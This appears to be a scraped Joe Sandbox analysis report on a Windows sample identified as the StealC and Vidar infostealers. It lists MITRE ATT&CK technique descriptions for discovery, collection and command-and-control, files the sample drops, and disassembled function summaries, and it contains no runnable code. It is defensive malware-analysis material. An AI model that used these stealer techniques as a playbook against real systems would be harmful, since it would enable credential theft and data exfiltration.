Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKECBFBAEBKJJJJKFCGC

C:\ProgramData\BKJEGDGIJECGCBGCGHDGIEGCBF

C:\ProgramData\FBKJKEHIJECGCBFIJEGIDBGIEC

C:\ProgramData\GIEHJDHCBAEHJJJKKFIDGHJECA

C:\ProgramData\IDHIDBAEGIIIDHJKEGDB

C:\ProgramData\IIECFHDB

C:\ProgramData\IJEGDBGD

C:\ProgramData\JKECFCFBGDHIECAAFIID

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 00B49860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00B345C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00B3BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 00B44910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00B49C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00B37710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 00B40250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 00B35100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre